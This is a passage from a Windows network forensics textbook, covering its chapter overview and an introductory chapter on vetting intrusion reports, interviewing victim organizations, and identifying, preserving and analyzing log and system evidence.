cability of any tool that we discuss to your situation. We also provide several examples of tools
used to commit attacks against networks so that you may better understand the techniques that
may be used to commit a crime within a network. Certainly, we do not advocate the malicious
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use of these tools, nor do we suggest that they are safe. You should carefully control any educa-
tional use of such tools within a suitable testing environment.

For a detailed list of the software and minimum hardware requirements needed to create
the testing environment for the exercises in each chapter, please refer to Appendix B, “Testing
Environments,” available online from www. sybex.com/go/masteringwindowsforensics.

What Is Covered in This Book?

Mastering Windows Network Forensics and Investigation is organized to provide you with the
knowledge needed to master the art of conducting a thorough investigation into incidents that
occur within a Windows network. Starting with introductory information and working through
in-depth analysis, this book covers a wide range of topics of interest to those people tasked with
making sense of the chaos that occurs daily in computer networks.

Chapter 1: Network Investigation Overview The material in Chapter 1 provides a basic
background in the techniques and methods of conducting a computer network investigation.
It is designed to give those with minimal network investigation experience a basic overview
of the process and to provide the background information necessary to understand much of
the rest of this book.

Chapter 2: The Microsoft Network Structure Chapter 2 is a primer on Microsoft network
design and implementation. Those readers who work every day in a Microsoft environment
may find much of this section elementary, but those of you who have had little administrative
experience will find the information presented in this chapter vital for your understanding of
future topics.

Chapter 3: Beyond the Windows GUI Here, we strip back the curtain to reveal the technol-
ogies and systems that underlie the Windows operating systems and the ways in which those
core building blocks can be manipulated to make those systems misbehave.

Chapter 4: Windows Password Issues Chapter 4 focuses on the authentication processes
that are used in the Windows environment ranging from ages-old LanMan to the current
iteration of the Kerberos protocol.

Chapter 5: Windows Ports and Services Chapter 5 discusses the importance of under-
standing connections that occur between Windows computers. Investigators who understand
how and why these communications occur will be better prepared to identify unusual or
malicious activity. This chapter prepares you for the more in-depth treatment presented in
Chapter 6.

Chapter 6: Live-Analysis Techniques This chapter concentrates on preserving evidence
found in RAM and lays a foundation for examiners tasked with analyzing memory for per-
tinent evidence. Traditionally, analysts have been taught to focus on the hard drive, while
critical evidence about running processes and network connections are lost. Examiners will
be exposed to specialized tools and techniques that are designed to capture this data and
present it in a logical way for analysis.

Chapter 7: Windows Filesystems Chapter 7 provides a forensic understanding of the most
common filesystems that are used on Windows systems and how they can be used to locate
evidence of malicious activity.
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Chapter 8: The Registry Structure The material presented here discusses the overall struc-
ture of the Windows registry, how to use various tools to analyze the registry online and
offline, and how to research and understand the effects that various activities have on a run-
ning registry.

Chapter 9: Registry Evidence The most common sources of evidence in the registry,
including determining the services that were active, the software that was installed, and

the IP addresses that were associated with a computer, are addressed here. Additionally, we
cover how to use volume shadow copies and restore points to your benefit.

Chapter 10: Introduction to Malware This chapter introduces examiners to the concept of
monitoring malicious code on a compromised system for the purpose of analyzing its behav-
ior to determine the malware’s purpose and the true identity of its author or master.

Chapter 11: Text-Based Logs The techniques and tools used to analyze text-based logs
generated by server applications running on a Microsoft Windows system are the focus in
Chapter 11.

Chapter 12: Windows Event Logs Chapter 12 introduces the Windows event logs, explains
how they are stored, and presents appropriate techniques for opening, saving, and storing
event logs.

Chapter 13: Logon and Account Logon Events In this chapter we cover the difference
between logon and account logon events, explain these events within a domain environment,
and discuss the events that have the most investigative interest.

Chapter 14: Other Audit Events The material here carries on from Chapter 13 and dis-
cusses other audit events, such as service starting and stopping; changes to accounts, policies,
and groups; and the importance of object access auditing.

Chapter 15: Forensic Analysis of Event Logs Chapter 15 addresses the internal structures
of the Windows event logs from Windows XP through Server 2008. We show you ways to use
this knowledge to recover deleted event log files and fragments from unallocated clusters
and how to parse them to regain the information that was deleted.

Chapter 16: Presenting the Results We cover the practice of creating an effective digital
forensics report on pertinent findings in a fashion that is both logical and comprehensible for
the layman. This critical skill will ultimately define how credible the examiner is when pre-
senting digital evidence.

Chapter 17: The Challenges of Cloud Computing and Virtualization Chapter 17 delves
into the concept of cloud computing and explains the various technical challenges facing
digital forensics examiners, while demystifying this emerging trend and the services that
operate in virtual space.

By the time you reach Chapter 3, the introductory material should be behind you and more
in-depth work can begin. Both administrators and investigators should be able to rally together
at Chapter 3 and proceed in lockstep from that point forward.
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The Mastering Series

The Mastering series from Sybex provides outstanding instruction for readers with intermediate
and advanced skills, in the form of top-notch training and development for those already work-
ing in their field and clear, serious education for those aspiring to become pros. Every Mastering
book includes the following:

¢ Real-World Scenarios, ranging from case studies to interviews, to show how you apply the
tool, technique, or knowledge presented in actual practice

¢ Skill-based instruction, with chapters organized around real tasks rather than abstract
concepts or subjects

¢ Selfreview test questions, so you can be certain you're equipped to do the job right
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Network Investigation Overview

As mentioned in the introduction, this chapter provides background information to those read-
ers who do not have a great deal of experience in conducting network investigations. Since much
of this book will focus on the techniques used to conduct these investigations, a basic working
knowledge of the steps required to use them is essential to getting the most out of this text.
Those who have an extensive amount of experience in this area will probably be able to skim
this chapter and proceed to Chapter 2, “The Microsoft Network Structure.”

With that disclaimer out of the way, we’ll now cover the steps generally involved in conduct-
ing an investigation of a network intrusion or similar network-related incident. It is important
to note that this section will deal with broad generalities. Every investigation is unique, and it
is the responsibility of the investigator to analyze each situation to determine the appropriate
investigative approach. Making these decisions and implementing the associated techniques
require a great deal of subject matter expertise, and the remainder of this book is designed
to provide you with the information and techniques that you will need to be an effective
Windows network investigator.

In this chapter, you will learn to

¢ Gather important information from the victim of a network incident
¢ Identify potential sources of evidence in a network investigation

¢ Understand types of information to look for during analysis of collected evidence

Performing the Initial Vetting

The vast majority of intrusion investigations begin with a phone call. Someone, somewhere has
encountered something that makes them suspect that they are the victim of a computer hacker.
The first thing any investigator must learn is that many of the people who pick up a phone to
report an incident are not victims. It is important to conduct an initial assessment of any report
and determine its legitimacy in order to avoid unnecessary and unproductive false starts.
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WHEN YOU ARE THE VICTIM

This section largely deals with situations where you are working in the capacity of an outside
consultant or law enforcement officer, but the questions and techniques discussed still apply to
internal corporate security departments or similar groups. All too often, IT administrators, users,
and even Security Operations Center (SOC) monitoring analysts leap too quickly to the conclu-
sion that the sky is falling. It is the responsibility of the highly trained security professional (that
would be you) to cut to the heart of the matter, provide a reasonable triage of the situation, and
either begin the necessary investigation or restore peace and tranquility to the world by telling
the people involved, “It will all be OK.”

Since most cases begin with a phone call, it makes sense to perform your initial investigation
while on the phone. This saves a great deal of time by allowing you to get preliminary informa-
tion to determine exactly what resources (if any) you will need to bring to bear to conduct an
appropriate investigation into the incident being reported. Obviously, if the reported incident
involves classified or otherwise sensitive information, you will need to factor operation-security
concerns into your approach. In such cases, you may need to perform even your initial vetting in
person at an appropriately secure facility. While each situation will be unique, the following list
of questions will provide you with a good starting point for performing your initial inquiries:

What makes you believe that you are the victim of a computer crime? This simple, open-
ended question provides you with a lot of information about both the incident and your
reporting party. Allow the reporting person to provide you with the story in his own words
for a while. Listen for things that indicate the experience and knowledge level of the report-
ing person. In addition, start assessing the likelihood that an incident has actually occurred.
Responses to this question will range from “Our security team was conducting a routine
audit of our IDS (intrusion detection system) logs and noticed some anomalies that we found
suspicious,” a good sign, to “I received an email and my virus-scanning thing said it was
infected,” a not-so-good sign. If the response has anything to do with aluminum foil and
alien mind rays, simply refer the caller to the appropriate counseling service—or to your
favorite rival agency (you know the drill).

What systems are involved, what data do they store, and were they damaged? Here you
are looking to determine whether or not any alleged incident falls within your territorial
and subject-matter jurisdictions or your assigned area of responsibility. If all of the comput-
ers are located in Spokane and you are a local police officer in Denver, you probably need to
end this call with a referral to another agency. Likewise, if you are assigned to a Computer
Emergency Response Team (CERT) for a large company and the caller is asking about their
mother’s home PC, not their company computer, then perhaps you should provide them with
a number for a local IT security firm. Check to ensure that you are the appropriate person to
address the alleged incident.

When did the attack occur? While this seems like a fairly simple question, you may be sur-
prised at some of the answers it can generate. It is not at all uncommon for an organization to
wait many weeks or months before notifying law enforcement of an incident. Internal politics
involving Legal, Public Relations, and other departments can stretch out for long periods of
time while the pros and cons of reporting the incident to outside people are debated. This



MEETING WITH THE VICTIM ORGANIZATION

question will give you an idea of how stale the case may be and how long the victim organi-
zation has had to unintentionally lose and delete important evidence.

How was the attack discovered, and who knows about the discovery? This question gives
you an idea of how likely it is that the offender knows that his activities have been detected.
If the victim organization detected a few anomalies that suggest an attack and immediately
called you, then you may have the advantage of catching the attacker unaware. If, on the
other hand, the attack was discovered because all systems reported U h4v3 b33n H4xOred

at bootup, it is a fair guess that the attacker already knows that the victim is aware of the
incident. An additional consideration here is that a large percentage of computer incidents
are perpetrated by inside users of the impacted systems. Thus, if the victim organization has
already circulated emails announcing that they have detected an attack, it is a fair guess that
your as-of-yet-unidentified suspect has also been made aware of the discovery.

Did the attacker seem to have familiarity with the network or systems impacted? This
question can be used to begin gauging the competency of the attacker, as well as to try to
determine whether you are dealing with a rogue insider or an outside attacker. If the attacker
gained access to the system using an old administrator account and in one command line
copied a file from C:\files\secret stuff\my special projects\stuff I never told
anyone else about\project X\plans.doc, then you can bet that either the attacker had
inside information or the attacker has been to this system before and this is simply the first
time that the victim has noticed.

After you have an idea of what has transpired, you will be in a position to make suggestions
to the caller to help preserve any evidence that may exist. The instructions that you give in this
regard will depend on the specifics of the case, and by the end of this book you will have the
knowledge necessary to make that determination. In many cases, the best advice is simply to
suggest that the computer be left powered on and that only the network cable be disconnected
if necessary to prevent further damage. Again, there will be situations where this is not the best
idea, but each case must be analyzed independently.

Meeting with the Victim Organization

Once you have gathered enough information to determine that some type of incident occurred
and that you are the appropriate person or agency to respond to that incident, it is time to get
your investigation under way. At this stage, it is best to arrange a meeting with the reporting
person and anyone else who has relevant information about the incident.

MEETINGS ABOUT MEETINGS

It may be in your best interest to also schedule a one-on-one meeting with the reporting person
prior to including anyone else in the conversation. This gives you an opportunity to question
that person in a little more detail before moving into a setting where his peers and bosses will
be watching. If at this private meeting he realizes that a mistake has been made (such as, “Oops,
we weren’t hacked; 1 accidentally deleted those files”), then he can get out and call the whole
thing off. If such a realization is made in front of a roomful of people assembled to discuss the
bigincident that has been discovered, the reporting person’s fight-or-flight instincts may kick in
and lead him to provide you (and everyone else) with false or misleading information to save face.

5
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If possible, the first face-to-face meeting with the victim organization should take place in a
quiet meeting room with at least one whiteboard available. After the initial introductions, have
the reporting person explain what is known about the incident in very broad terms. During this
meeting, there are some very specific pieces of information that you will need to obtain, so don't
let the initial overview get into too much detail. After everyone agrees on a very general view of
what you are all gathered to discuss, take control of the meeting and begin to gather informa-
tion in a systematic manner. The following sections will give you some ideas on information
that you need to ascertain, but keep in mind that no two investigations will be exactly alike.

THE B1G MEETING

Once word gets out that law enforcement or security consultants are coming to interview staff
about a possible computer crime incident, things can spiral out of control within the victim
organization very quickly. Everyone who thinks they are important will insist on attending, and
the initial introductions will sound like a job fair as everyone explains what their unit does and
howimportant they are to the overall mission of the organization. You will likely encounter repre-
sentatives from the Human Resources department, senior managers, chief information officers,
company lawyers, computer incident response teams, outside consultants, and all other imagin-
able players. Just take it all in and note who the key players really are. This is your opportunity to
once again size up the people with whom you are dealing. Also, never forget that many computer
crimes are committed by people within the victim organization. Don’t reveal too much about
your thoughts, techniques, or plans in these types of meetings, because the perpetrator may be
sitting in the room.

Understanding the Victim Network Information

Before you can even begin a serious discussion of any incident, you must first establish a base-
line understanding of the network environment in which the incident took place. This is no dif-
ferent than performing an initial assessment of the scene of a burglary or any other crime. Just
as an investigator of a physical crime must identify possible points of entry or exit, location of
valuables, items that may be missing or moved, and so on, the same concepts apply when con-
ducting a computer-related investigation.

FOR MORE INFORMATION

Remember that this chapter is only a high-level summary of the issues involved in responding
to areported computer intrusion. The remainder of this book will discuss issues specific to con-
ducting network investigations in a Windows environment, but for readers who feel they need
additional background information on intrusion response in general, we recommend Incident
Response and Computer Forensics, Second Edition by Prosise, Mandia, and Pepe (Osborne, 2003)
to supplement your existing knowledge.
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One of the first things that you will need to get clear in your own mind is the topology of
the victim network. The topology refers both to the physical location of the various pieces of
hardware, media, and so on that constitute the network and to the way that data logically flows
through that network. You should have a clear understanding of any connections that lead to
outside networks such as partner organizations or the Internet. Identify which security controls,
such as firewalls, IDSs, and filtering routers are in place at possible entry or exit points to the
network and within the core of the network. Obtaining a current network diagram (if available)
or using a whiteboard to sketch out the network visually at this point can be very helpful. Start
trying to identify possible sources of evidence within the network, such as devices that generate
logs and /or monitor network communications. Gain an understanding of any proprietary tech-
nologies or systems with which you are not familiar by asking specific and detailed questions to
clarify the network’s design and function.

DID LEIA ATTACK FRODO OR WAS IT PICARD?

Keep in mind that the administrators and other people whom you will be interviewing work on
the victim network day in and day out. They will know much of it like the back of their hands, and
they will often speak to you as if you should as well, referring to computers by their internally
assigned names (such as Frodo, Leia, or Picard) and speaking in organization-specific acronyms.
When conducting initial interviews, make sure that you understand everything clearly. Nobody
is fully versed in all current aspects of network technology, every proprietary vendor’s product,
and the implementation details of these items in every network. You must ask questions—lots
of questions. This is not the time to allow your ego to interfere with your interview. If you don’t
know something, ask the interviewee to explain the technology in question and how it impacts
the network’s function.

Get a sense of how the network is used and what normal patterns of usage might be. By
understanding what type of activity is typical, you will be in a better position when analyzing
evidence for activity that may be abnormal and malicious. Here are some questions that will
help you determine normal usage patterns:

¢ Do you have employees who log in from remote locations?

¢ Do partner organizations have access to any of your systems?

¢ During what times do your employees normally access the network?
*

Do remote connections normally last for long periods of time (such as interactive user
logons), short periods of times (such as automated transactions or updates), or variable
amounts of time?

Which systems house sensitive data, and which users should have access to those systems?

Are all of your systems located in this facility, or are you using remote data centers or cloud
service providers?
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By asking these and similar questions, you will be able to understand both how the network
is structured and how it is used by legitimate users. Without this information, it is virtually
impossible to perform a successful network investigation.

SILVER LINING?

When you start asking the important questions, the fact is that the victim organization may not
know many of the answers. Many organizations lack adequate data governance and information
rights management; many simply do not know where their sensitive information is stored or who
should be accessing it. If you are working for an internal security team, these meetings are often
agood time to point out that extra budget should be allocated to systems and processes designed
to identify ways to keep ahead of incidents in the future.

Understanding the Incident

Now that you have had a chance to get acquainted with the electronic crime scene, let’s get into
the details of the incident itself. You've already given the reporting person two opportunities
(once in the initial vetting and once at the beginning of the face-to-face meeting) to give you

the highlights of what has occurred, so you should have a fair idea of what has happened that
raised concern. At this stage, you should direct the conversation and get all the detailed infor-
mation that you can about the timeline, methods, scope, and outcome of the incident. Don't
allow the interviewees to rush ahead of you. Make sure that you understand all of the necessary
details of each step before allowing the conversation to move forward.

One thing to keep in mind is that the victim may have already developed a theory of the
crime that might or might not bear any similarity to reality. They may even have put together a
very fancy, post-incident response report and believe that they are handing you a gift-wrapped
case ready for prosecution. While we have received many such reports, we have also never seen
one that was 100 percent accurate. As the investigator, it is your job to review any information
that you receive and check it for factual accuracy.

After you have determined exactly what the alleged attacker did that caused such upset, it
is time to ask one of the most important questions of the interview: “What have you done in
response to the incident?” This can be a very telling question. First, you can further gauge the
competency of your victims by listening to the steps that they took and analyzing the appropri-
ateness of their response. Second, you get a good idea at this point how much evidence might
still be available to you.

For example, if you ask your victim what they did in response to the incident and receive an
answer of, “We screamed in sheer panic for 30 seconds and then immediately called you,” then
you know two things: these may not be the most technically proficient people, and your evi-
dence is likely right where the attacker left it. If on the other hand you receive a response such
as, “We immediately downed the affected systems, did a bit-level zeroing of all media contained
within them, reinstalled from known-good media, and restored the network to full functional-
ity,” you know you are dealing with a fairly technically competent crew who has stomped all
over your evidence and your chances of working a successful case.
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@ Real World Scenario

TRUST NO ONE

At the outset of one intrusion investigation, we were presented with a very nice report from a highly
paid security contractor who analyzed the logs from the victim system and came to a conclusion
about the crime. His report indicated that the initial attack occurred on November 15 and that it
consisted of a series of failed attempts to intrude upon the box that eventually led to a successful
attack. The report concluded that the attacker was unfamiliar with the system and that this was
the first attempted attack against the victim system.

In performing our own analysis of the same logs, we noted that the attack on November 15 had
been successful on the first attempt. In fact, we noticed that it exploited a piece of code that had
been written by the victim organization and that had never been disseminated to any other group.
While the logs did show some experimentation by the attacker, they were indicative of attempts to
furtherincrease the attacker’s control of the system after already exploiting the box. The method of
attack was fairly complicated and suggested a good deal of familiarity with the system. This attack
was clearly either the work of someone with inside information or the work of someone who had
exploited this system before and who was returning to enter the system once again.

The contractor who created the report was also responsible for keeping the victim system secure.
He believed that his systems were secure and that, prior to this incident, nobody had broken into
them. Whether out of malice or simply as the result of preconceived notions, reports by people who
work closely with the victim systems are bound to contain some type of bias. Be certain to review
them carefully and come to your own, independent opinion that is based on the facts at hand rather
than unsubstantiated beliefs.

Identifying and Preserving Evidence

There are many possible sources of electronic evidence that you can use during the course of
your investigation. One of the biggest challenges of dealing with electronic evidence is that it,
even more than physical evidence, needs to be collected promptly and correctly. Much of this
book will talk about the proper ways to collect digital evidence from memory and from disk, but
first you must identify where that evidence may be.

These days, you should first ask the victim about their network topology, both logical and
physical. It is important to understand whether you are dealing with a network that is primar-
ily supported by an onsite server room, an offsite dedicated data center, or a cloud service pro-
vider in another country. Understanding whether critical systems are running as an installed
OS on dedicated servers or as virtual machines can also impact how you collect evidence and
the order in which it should be collected. Chapter 17, “The Challenges of Cloud Computing and
Virtualization,” addresses some of these considerations in more detail.

One of the most useful sources of evidence in any network investigation will be the logs
generated automatically by various devices throughout the network. Since it is created by
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an automated process during the normal course of doing business, log evidence falls under
an exception to the hearsay rule under the U.S. Federal Rules of Evidence and is admissible
as evidence at trial. Log evidence can provide the most thorough and accurate account of
what transpired on a network. Teaching you to identify, collect, and analyze these logs from
Windows computers is the subject of a number of chapters in this book.

In addition to logs that are generated by Windows-based computers, many other devices
also generate valuable logs of evidence. It is important to identify what logs are kept, where
they are kept, and for how long they are kept. This bears repeating: Identify what logs are kept,
where, and for how long. This is an extremely simple question that often is very difficult to get
correctly answered. In many IT shops, logs get configured at initial installation and then are
never seen again. Many generations of IT workers may have come and gone between the time
logging was enabled and the time you arrive asking to see the logs. Many organizations will
automate the logging subsystems to rotate and archive logs with no human intervention, creat-
ing an “out of sight, out of mind” situation. You may need to dig, poke, and prod to arrive at an
accurate accounting of which devices within the network are configured to log, where those logs
are stored, where they are archived, and for how long they are kept before being deleted and
overwritten.

DUMBASALOG

You will find that in many organizations, logs are not on the top of the administrators’ daily
chore lists. We have frequently asked administrators if they back up and preserve their logs and
have been told that they do not do so; however, we cannot stop our inquiry at that point. Next,
we ask them if they back up the data on the victim computer. To which almost all administra-
tors will quickly volunteer that they perform full system backups and that they archive those
backups in a grandfather-father-son or some other common rotation. Logs are simply data,
and when it comes to Windows logs, they are almost always stored on the main system drive
of the computer. If the administrators are backing up the system and archiving those backups,
then they are also backing up and preserving their logs as well, whether they intended it (or
even realized it) or not.

In addition to identifying the log evidence that may be floating around the victim organi-
zation, you should also inquire about backups of any system that was impacted or that might
have been impacted by the incident. Frequently, backup tapes or other media are overwritten
in a set rotation. You want to ensure that any backups that may prove useful in your investiga-
tion are pulled out of that rotation and seized as evidence as soon as possible to avoid their
inadvertent destruction. Also, you will need to identify any possible sources of evidence that
may exist outside your victim organization, such as logs at an Internet service provider or
data held at a partner organization. U.S. law enforcement officers will want to issue a preser-
vation letter to secure that evidence immediately to avoid losing it and any benefit that you
may get from it.
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2703(F) ORDERS

U.S. federal law, in the Electronic Communication Transactional Records Act, Title 18 U.S.C.
2703(f), states the following about the requirement to preserve evidence:

“(1) In general.—A provider of wire or electronic communication services or a remote com-
puting service, upon the request of a governmental entity, shall take all necessary steps to
preserve records and other evidence in its possession pending the issuance of a court order
or other process.

“(2) Period of retention.—Records referred to in paragraph (1) shall be retained for a period
of 90 days, which shall be extended for an additional 9o-day period upon a renewed request
by the governmental entity.”

Two important things to note in this statute are that the request can be made by any governmental
entity and that the receiving organization must preserve the evidence for 9o days while a court
order or other process is prepared. This gives broad authority to rattle off a request citing 18
U.S.C. 2703(f), requesting the immediate preservation of logs or other evidence. Such a request
is generally referred to as a preservation request or preservation letter. You can then further develop
your case, consult your prosecutor or legal advisor, and obtain the appropriate process required
under the Electronic Communications Privacy Act or other applicable law to retrieve whatever
evidence you are seeking.

Outside the United States, countries that are signatories to the Council of Europe’s Convention
on Cybercrime must enact similar legislation that allows authorities to expeditiously preserve
digital evidence. More information about this convention is available from the Council of Europe’s
website, http://conventions.coe.int/treaty/en/treaties/html/185.htm/.

Establishing Expectations and Responsibilities

Before ending your meeting, you will want to determine exactly what the victim organization
is expecting from you. A victim who tells a private security firm that they do not want anyone
to ever know about the incident and simply want to identify and repair any damages may meet
with a receptive audience. That same victim making that same request of law enforcement may
not be so fortunate. For most law enforcement agencies, the goal is generally to identify and
prosecute an offender. This early in an investigation it would be inappropriate for criminal or
other investigators to make any promises of future confidentiality; such decisions are at the
discretion of prosecutors and judges (at least in the United States; in other countries the rules
may be very different). In short, such promises are not usually within the authority of a U.S.
criminal investigator to make. It is important that all parties understand what can and cannot
be promised at all stages of the investigation; everyone should be kept well-informed so their
expectations are kept reasonable. Failure to ensure this can have disastrous effects later in the
investigation.

You might need various members of the victim organization to assist you in your investiga-
tion. You will likely need to schedule follow-up meetings with specific administrators to further
elaborate on the workings of specific systems so that you fully understand the environment in
which your investigation is taking place. You might need to ask someone to locate old records
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that indicate how log rotations were initially configured and exactly what types of events are
being audited by those logs. You might also need to establish parameters for contacting you and
responding to any further incidents or anomalies. Make sure that all of these types of issues

are resolved and that everyone understands what their responsibilities are before ending the
meeting.

It is important that you remember that at this stage you might not have identified the full
scope of the incident or the location of all possible sources of evidence. Make sure that you keep
open lines of communication with all of the involved players to ensure that you have up-to-
date and accurate information. Also, never forget that many incidents are perpetrated by inside
employees, so stress the importance of keeping the incident a secret to anyone who must be
involved. Ask for complete secrecy from all parties, but assume that each of them has told every-
one they know.

Collecting the Evidence

Once you have met with and interviewed the relevant members of the victim organization, it is
time to take the information that you have learned and proceed with collecting evidence. Again,
many of the techniques used to collect that evidence will be discussed later in this book, but in
general terms you must collect evidence in a way that preserves its value in a criminal proceed-
ing. This means that you do not substantively alter the evidence during collection and that you
maintain an accurate chain of custody for each piece of evidence that you collect. Evidence in a
network investigation can consist of many different things, and we will look at some of the dif-
ferent types of evidence that you may want to collect.

COLLECTING THE CLOUD

If your victim network takes services from a cloud service provider, the legal agreements between
the victim and the provider can become critical to your ability to access the logs or other data
you require to conduct your investigation. You should get the legal eagles involved early in the
process if a cloud service provider is involved.

One of the more obvious places to look for evidence is the logs of devices designed for
network security. Items such as network or host-based intrusion detection systems (IDS) can
provide a wealth of information about successful and attempted attacks performed within and
against a network. An IDS monitors communications that come into, out of, or through a net-
work or specific host (depending on the type of IDS and its configuration). These communica-
tions are then analyzed on the fly by the IDS, which looks for signatures of known attacks and
other anomalies that might indicate malicious or prohibited activity. The response of the IDS to
a suspected problem can range from noting its findings in a log to storing a copy of the suspect
traffic, sending an alert to a specific user, or even taking active countermeasures against the per-
ceived threat (which technically would make the device an intrusion prevention system, or IPS).
The information and logs created by IDSs can be a great starting point for an investigation since
they can provide a summary of detected malicious activity within the network.



COLLECTING THE EVIDENCE

DIGITAL SOURCES OF EVIDENCE

Just as with a physical crime scene, a digital crime scene can be rich with potential evidence.
Don’t let the fact that you are now investigating a digital crime distract you. Digital crimes are
investigated using the same basic principles as any other criminal offense. If you were investi-
gating a bank robbery, you would undoubtedly survey the crime scene, interview witnesses,
canvass the area for discarded items, round up security tapes from nearby establishments, and
so on. The same logic applies at a digital crime scene. You determine the topology and normal
usage of the network, speak to the system administrators, examine logs of impacted and related
systems, and examine the output from IDSs and other network security devices. Investigating
anetwork incident does involve specialized knowledge and methods, but don’t let that fact dis-
tract you. Digital crime is still crime, and its investigation follows the same general route as any
other investigation.

Other devices can also generate security-related logs. Firewalls, which are devices config-
ured to permit certain network traffic while blocking other types of connection attempts, can be
configured to stand as sentinels at the entry to a network, between subnets, or on specific hosts.
Firewalls are often configured to log the packets that did not meet the criteria established for
allowable communications and were thus blocked. Proxy servers, or Application layer firewalls,
can provide even more specific log data regarding the activities of the various users and systems
within the network. Even routers are often configured as a first line of defense by dropping
certain types of communication as soon as they try to enter or exit the network. These screening
routers can also be configured to log the packets that they drop, although such logs are much
more common in firewalls and proxy servers.

Devices that are designed to accept or authenticate inbound network connections will fre-
quently perform a great deal of security-related logging as well. Remote access servers, RADIUS
(Remote Authentication Dial In User Service) servers, wireless access points, VPN (virtual private
network) concentrators, and other methods of connecting or authenticating to a network are usu-
ally configured to log any attempted and/or successful connections. As possible entry points to a
network, these devices should be familiar to the victim organization’s administrators, but legacy,
redundant, or backup systems are often overlooked by administrators but specifically targeted by
intruders. Don't forget to analyze any network diagrams and other information for indications of
ways into a network that may have been omitted in previous discussions with the administrators.

VARIETY IS THE SPICE OF LIFE

You will find that the amount of available log evidence varies dramatically from one investiga-
tion to another. The largest factor in this equation is the victim organization. If your victim is a
government agency handling sensitive information, you will probably have more logs than you
can imagine detailing all aspects of the incident. If, on the other hand, your victim is a small
mom-and-pop company whose system administrator is the family’s youngest son, then you may
be wishing that you had more evidence on which to proceed. You can only work with the evidence
that is available.

13
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If your victim’s network employs a Security Information and Event Management (SIEM)
product, it can be a great source of information to you. A SIEM tool acts as a repository for logs
from various sources and can be used to perform advanced analytics on the log files to identify
potential problems. SOCs that monitor networks for security or other adverse events often rely on
SIEM tools to detect incidents, and many network security incidents are first brought to light by
these tools. Keep in mind that a SIEM is only as good as its configuration allows it to be; the gar-
bage-in, garbage-out rule certainly applies here. A SIEM does not conduct your investigation for
you, but it can be an excellent guide to point you toward potential sources of additional evidence.

Another exceptional source of evidence, if you are lucky enough to be working in an envi-
ronment where they are used, is network monitoring tools. Products like NetWitness (www .
netwitness.com), Solera (www.soleranetworks.com), and AccessData’s SilentRunner products
(http://accessdata.com/products/) record network traffic, extract metadata about all com-
munications, and enable a wealth of network forensic data that can make your life much easier.
These tools allow investigators to query historical network communications to look for file
transfers, exploit use, malicious software downloads, authentication attempts, and a whole host
of other information, all from one console. If these systems are implemented in your victim’s
network, they can help speed up your investigation and point you toward systems and logs
that can hold more evidence related to your case.

Data that is stored in the memory of a running system can be of great evidentiary value.

By determining which processes are running, which ports are listening, which connections

are active, which users are logged in, and other information about a running system, you can
generate a good picture of what that computer was doing at the moment you seized it. We will
examine this concept in more detail in Chapter 5, “Windows Ports and Services.” Such informa-
tion can be of extreme importance in a network investigation, and the methods of gathering this
type of evidence will be discussed in Chapter 6, “Live-Analysis Techniques.”

The logs from individual victim computers are usually vital pieces of information in any
network investigation. The logs should be collected and analyzed offline to avoid modifying
or altering their content to the point that it jeopardizes their evidentiary value. In “Part III:
Analyzing the Logs” (Chapter 11-Chapter 17) of this book, we detail methods of performing
Windows log analysis and outline the information that can be gained about an incident from
that analysis. Some network administrators have taken additional steps to preserve logs in cen-
tralized locations for easier analysis. Typically, shops that use such log-aggregating techniques
are more security conscious, and the administrator will be able to guide you to the logs and
explain how they are stored. Keep in mind that the logs from computers that are not known vic-
tims can also be important. Evidence of failed attacks might be present on these systems, which
can lead to additional charges against the perpetrator and provide you with additional infor-
mation about her methods and techniques. Also, other computers might have been involved in
authentication of compromised accounts or other aspects of network activity and might contain
log evidence of that activity despite never having been compromised themselves.

The data stored on victim systems is also critical to a successful investigation. Any files
that are present on a victim system may later be found on the suspect’s computer, allowing
you to further tie the suspect machine to the incident. Tools left behind by the attacker can be
analyzed to determine additional information about the attacker and the attacker’s techniques
(see Chapter 10, “Introduction to Malware,” for details on suspect tool analysis). Evidence con-
tained within the registry or elsewhere on the system can be of critical importance in locating
and prosecuting the offender. In “Part II: Analyzing the Computer” (Chapter 6—Chapter 10), we
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outline many of the types of evidence that can be found on both victim and suspect computers
to help further an investigation and solidify a criminal prosecution.

HONEYPOTS

Keep in mind that if the attacker is not yet aware that the incident has been discovered, you
may have the option of setting up monitoring equipment to watch for future illegal activity. By
configuring proper data-capture tools, you can monitor the victim box to gather more evidence
about your attacker as more attacks are made. This can be a great way to identify other compro-
mised machines, aid in identifying your attacker, learn more about the attacker’s methods, and
gain more evidence to use in criminal prosecution. You will have to weigh the risks versus the
rewards with the victim organization based on the sensitivity of the information being exposed
to further attacks and the willingness of the victim organization to accept that risk. Because
of the legal and risk-management sensitivities of such an approach, it is normally necessary to
talk to your prosecutor or legal advisor before performing any network monitoring to ensure
compliance with all applicable laws.

Analyzing the Evidence

Now that you have identified and collected the evidence, the real work can begin. Obviously,
after the evidence has been properly collected, you should make working copies of all digital
evidence and use these copies when performing your analysis. While this phase of your inves-
tigation is more static and controlled than evidence collection, it is still a time-sensitive process.
Keep in mind that you have secured and preserved all of the evidence of which you are cur-
rently aware; however, it is very common that your analysis of that evidence will lead you to
uncover more sources of evidence. Digital evidence can be easily destroyed, whether maliciously
by the attacker, accidentally through hardware failure, or systematically through log rotations.
This creates an urgency to complete your analysis as quickly as possible in order to follow any
logical investigative steps that your analysis may suggest.

You can perform many types of analysis on the evidence collected from the victim organi-
zation, and this text explains tools and techniques for doing so in a Windows network. When
you perform your analysis, many facts can be of assistance to your investigation. The specifics
of each case determine what is and is not useful, but when you consider that you might have
literally terabytes of data to sort through, it might help to know what types of needles you are
searching for in that digital haystack. We provide some examples of data that are frequently of
investigative interest and suggest some techniques for locating that data both in this section and
throughout this book. For now, let’s focus on patterns and data that are frequently helpful to the
investigator.

One of the simplest places to start is to focus on activity that occurred around the time of the
first known incident. You will often collect vast amounts of data during the evidence-collection
phase of your investigation, and limiting the scope of your initial search to a finite time period
can expedite your discovery of relevant data. For example, you might focus your initial log
analysis efforts on the date and time of the first malicious activity that the victim noticed, or you
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might perform a forensic analysis of all files added or modified during the time that the attacker
was first known to have accessed the system. You can always expand the scope of your analysis

to prior events to look for previously undetected intrusions or intrusion attempts after you have
a better idea of what occurred during the reported incident. Chapter 12, “Windows Event Logs,”
discusses ways to make your searches more effective by filtering based on time and date ranges,
as well as other criteria, to expedite your analysis times.

ANALYZE ACCURATELY BUT QUICKLY

Keep in mind that many attackers do not directly attack their victim organization from their
home computer (those who do are the low-hanging fruit that make for quick-and-easy cases).
More sophisticated attackers compromise a series of computers and bounce their commands
through them in order to obscure their actual location. As a result, the analysis of the evidence
